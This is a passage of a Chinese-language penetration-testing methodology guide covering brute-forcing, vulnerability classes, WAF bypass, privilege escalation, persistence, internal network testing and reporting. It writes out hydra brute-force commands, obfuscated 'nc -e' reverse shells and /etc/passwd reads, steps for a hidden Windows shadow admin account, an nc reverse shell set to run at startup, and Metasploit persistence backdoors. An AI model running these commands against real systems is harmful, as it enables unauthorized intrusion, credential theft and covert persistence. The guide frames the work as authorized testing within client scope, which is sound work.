    -M 把要爆破的目标都写到一个文件中,每行对应一个目标,支持域名,CIDR格式,或者单个ip的形式

    针对各类服务的实例爆破演示

    1
    2
    3
    4
    5
    6
    7
    # hydra -L user.txt -P pass.txt -f -v -t 20 mssql://192.168.1.2
    # hydra -l root -P pass.txt -f -v -t 20 mysql://192.168.1.2
    # hydra -L user.txt -P pass.txt -f -v -t 20 smb://192.168.1.2
    # hydra -L user.txt -P pass.txt -f -v -t 20 postgres://192.168.1.2
    # hydra -L user.txt -P pass.txt -f -v -t 20 rdp://192.168.1.2
    # hydra -l root -P pass.txt -f -v -t 20 ssh://192.168.1.2
    # hydra -L user.txt -P pass.txt -f -v -t 20 ftp://192.168.1.2
  • 越权访问

    越权访问又包括水平越权和垂直访问,这种漏洞我们可以观察url是否带有用户的明文信息或者直接访问一些敏感页面

  • 各种框架漏洞

    比如说structs这个框架的漏洞层出不穷,当明确了目标所使用何种框架之后,我们可以使用poc进行验证

  • 敏感信息泄露

    敏感信息是业务系统中的保密性要求较高的数据,通常包括系统敏感信息和应用敏感信息。系统敏感信息指的是业务系统本身的基础环境信息,比如系统信息,中间件版本之类的,一旦泄露可能可以协助攻击者提供更多的攻击途径和方法;应用敏感信息指的是应用中存储的重要业务数据,比如用户注册时提供的一些信息,身份证、姓名、电话号码等,泄露后可能会对应用的用户带来危害。

    • 敏感信息传输

    在业务流程中,许多敏感信息需要从客户端提交到服务端,如果没有采取合理的加密措施,在提交到服务端的过程中可能被第三方截取,从而产生信息泄露风险。

    • 敏感信息显示

    通常情况下应用敏感信息在客户端显示时需要进行脱敏,密码等部分用户信息是不应该在客户端显示的,如果程序设计时在这部分没有进行很好的处理,就会产生敏感信息泄露漏洞。

    • 客户端代码注释

    客户端代码注释有可能泄露系统敏感信息,对一些核心代码进行技术注释也有可能会帮助攻击者解读代码,为攻击者提供便利,通常要求客户端代码不能包含注释,尤其是不能包含核心代码的技术注释。

    • 错误处理

    不安全的错误处理方法可能泄露系统或应用的敏感信息,手工测试的过程中应留意各类错误信息,如果发现错误信息中包含系统或应用敏感信息,则进行记录。

    • 修复建议
    1. 应根据业务特点定义出系统存储的敏感信息。

    2. 敏感信息在存储、传输、显示时应进行安全处理,可采用的处理方式为加密或脱敏。

    3. 敏感信息不应使用GET方式提交到服务器。

    4. 用户密码为最高级别的敏感信息,在存储、传输、显示时都必须加密。

    5. 需要选择可靠的加密算法,优先选择不对称加密算法,不得使用BASE64等编码方式进行“加密”

    6. 对于一些系统默认报错页面应重新进行设计自定义报错页面,以免暴露系统敏感信息。

  • 文件包含

    当我们在遇到文件上传并且有白名单校验的时候,利用文件包含可以轻松getshell

    远程文件包含拿shell,本地包含读取文件

  • 命令执行

    定义:针对操作系统,即能够在服务器上执行任意命令。从Web应用中通过Shell来调用操作系统命令,如果在Shell调用时存在漏洞,就可以执行攻击者的非法OS命令

    命令注入的思路与sql注入思路是差不多的,都是对用户的输入过滤不严谨。

    调用系统命令

    如何防止OS注入:

    • 不调用外部程序;
    • 过滤掉、;,[,],|,<,>,\之类的符号;
    • 设置用户的权限。

    linux命令执行绕过过滤/waf技巧

    主要利用了bash的通配符、连接符、未初始化的变量三个特性来绕过WAF规则

    • 通配符
      在bash的操作环境中有一个非常有用的功能,那就是通配符,下面列出一些常用的通配符:

      1
      2
      3
      4
      5
      *    代表『 0 个到无穷多个』任意字符
      ? 代表『一定有一个』任意字符
      [ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
      [ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 09 之间的所有数字,因为数字的语系编码是连续的!
      [^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

      比如可以使用

      ls -l 替换成/?in/?s -l

      cat /etc/passwd 替换成 /?in/cat /?tc/p?sswd

      nc -e /bin/bash 127.0.0.1 3737 替换成 /??n/?c -e /??n/b??h 2130706433 3737

    • 连接符
      在bash的操作环境中还有一个非常有用的功能,那就是连接符,需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则

      cat /etc/passwd 替换成 /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

      which nc 替换成 /'b'i'n'/'w'h'i'c'h' 'n'c

      which wget 替换成 /'b'i'n'/'w'h'i'c'h' 'w'g'e't

      双引号/"b"i"n"/"w"h"i"c"h" "n"c

      反斜杠/b\i\n/w\h\i\c\h n\c

    • 未初始化的bash变量
      在bash环境中允许我们使用未初始化的bash变量,未初始化的变量值都是null。

      $a,$b,$c

      cat$a /etc$a/passwd$a
      /bin$s/nc$s -e /bin$s/bash$s 2130706433 3737

  • SSRF

    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

  • 参数

    参数超长是否导致溢出、参数有特殊字符是否会导致程序报错、参数确实是否导致程序报错

  • 业务漏洞检测

阶段 功能 功能对应检测点
身份认证 用户注册 是否可以重复注册
身份认证 密码修改 修改密码逻辑是否有问题
身份认证 密码重置 重置密码逻辑是否有问题
身份认证 短信验证码 短信炸弹,逻辑是否有问题、是否可爆破
身份认证 图片验证码 验证码是否可重复使用
身份认证 登录 登录逻辑是否有问题
会话管理 登录 会话ID生成机制是否有问题
会话管理 登录 是否有超时自动退出机制
会话管理 退出 退出后会话ID是否真的失效
访问控制 用户信息查看 是否可以水平越权访问其他用户页面
访问控制 具有管理员界面 是否可以垂直越权访问管理员页面
访问控制 具有管理员接口 普通用户直接发包是否也会响应
业务逻辑 购买 修改价格后端是否会再次校验
业务逻辑 多步功能 是否跳过其中某些步骤
业务逻辑 请求次数限制 服务端如何限制是否可以绕过,条件竞争

最后需要注意的是在进行漏洞发现的时候应该对每一个事件利用burpsuite进行抓包仔细观察数据包的传送情况,不放过任何一个可利用的点。

0x04 漏洞验证

尽可能的由浅入深,旁敲侧推,尽可能的将漏洞的价值发挥到最大化,比如说挖到一枚self-xss ,这个漏洞一般会被忽略,如果说结合csrf漏洞的话那么就是一个中危漏洞了

再比如说拿到一个企业的邮箱账户,我们可以对其vpn爆破然后进行内网探测等等都是可行的。

0x05 后渗透阶段

后渗透测试包括内网渗透,权限维持,权限提升,读取用户hash,浏览器密码等等,一般都是点到为止,不会深入。这里需要注意,是要在客户允许的范围内进行测试,白帽子需要有白帽子的底线!

  • 提权

    提权方便进行内网渗透

    • 系统漏洞提权

    • 数据库提权

      利用数据库系统命令执行获取shell,或数据库漏洞如mssql的job提权mysql的mof提权

    • web中间件漏洞提权

      IIS溢出、tomcat提权

    • 第三方软件提权

      Filezllia提权、搜狗拼音提权

    • 系统错误配置提权

      在windows下可以使用BeRoot工具进行系统配置检查,利用配置错误点进行提权。

    • 获取或嗅探高权限账号提权

      利用LaZagne project(支持linux、windows、mac),可以抓取chats、mails、database、wifi、sysadmin、wallet、browsers、memory中的密码,可以利用抓取到的密码进行高权限帐号密码测试,也可以利用神器mimikatz和mimipenguin,不过在部分时候由于权限问题可能读取不到部分密码。

  • 权限维持

    当我们在渗透过程中通过漏洞获取到目标主机权限后,往往会因为服务器管理员发现和修补漏洞而导致对服务器权限的丢失,所以权限维持就显得很重要了。

    • 构造隐蔽的WEB漏洞方式维持权限,如文件包含漏洞

    • webshell

    • 账号维权,获取用户名密码,或自建隐藏账号

      Window 影子账号创建

      1
      2
      3
      4
      1. 通过net user xxx$ 123 /add 
      2. 打开注册表,找到HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/,双击Administrator记住类型下面的十六进制值0x1f4找到左侧对应得文件夹即000001F4,双击打开复制里面F下的所有内容。 将内容复制到xxx$ 对应的文件夹下面,然后将xxx$ 和00000XXX 导出注册表
      3. 接着删除xxx$ 用户 net user xxx$ /del
      4. 双击导入刚才导出的两个注册表
    • 常用的远程控制软件

      nc

      1
      2
      3
      服务器监听4444端口 nc -lvvp 4444

      目标执行 nc -t -e cmd.exe x.x.x.x 4444 ,并添加开机启动

      msf

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      先获得一个Meterpretershell
      利用 Persistence模块
      run persistence -U -i 10 -p 4444 -r x.x.x.x

      -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
      -i:设置反向连接间隔时间,单位为秒;
      -p:设置反向连接的端口号;
      -r:设置反向连接的ip地址。

      Metsvc 模块

      run metsvc -A
      直接在目标主机上开启一个服务
      利用handler下的windows/metsvc_bind_tcp模块,重新获得shell
  • 内网渗透

    内网渗透通常是拿下某个内网访问权限后在内网中渗透,在企业的网络建设里,有些数据资源需要保护起来,于是选择放在内网,这是一点,还有一点跟互联网地址空间、资金有关,于是NAT地址转换、端口转发技术应用的越来越多,形成了一个网关、N台服务器的形式,当某个对外服务被黑客入侵,那么黑客还会使用这个缺口继续深入,但是内网中的网络管理安全强度并没有外网那么严谨,导致Wannacry、震网等病毒统治内网,还有就是内网的服务、服务器大多采用默认配置,这并不是一个非常安全的方案,可并未重视起来。

    网络拓扑探测

      安全域、防火墙、ids/ips
    

    内网弱口令
    内网服务器漏洞
    内网网络设备漏洞
    内网个人终端漏洞

      系统层ms17-010等   office漏洞     
    

    内网钓鱼
    中间人攻击
    内网穿透

0x06 报告编写

一个好的渗透测试报告至关重要。
只有编写完渗透测试报告这次渗透测试才算完全结束。

首先你需要明确漏洞名称以及漏洞原理。
其次要注明参与人员,测试时间,内网外网

  • 按需整理:按照之前第一步跟客户确定好的范围,需求来整理资料,并将资料形成报告
  • 补充介绍:要对漏洞成因,验证过程和带来危害进行分析
  • 修补建议:当然要对所有产生的问题提出合理高效安全的解决办法

0x07 风险规避

  1. 不要进行诸如ddos攻击,不破坏数据
  2. 测试之前对重要数据进行备份
  3. 任何测试执行前必须和客户进行沟通,以免引来不必要的麻烦
  4. 可以对原始系统生成镜像环境,然后对镜像环境进行测试
  5. 明确渗透测试范围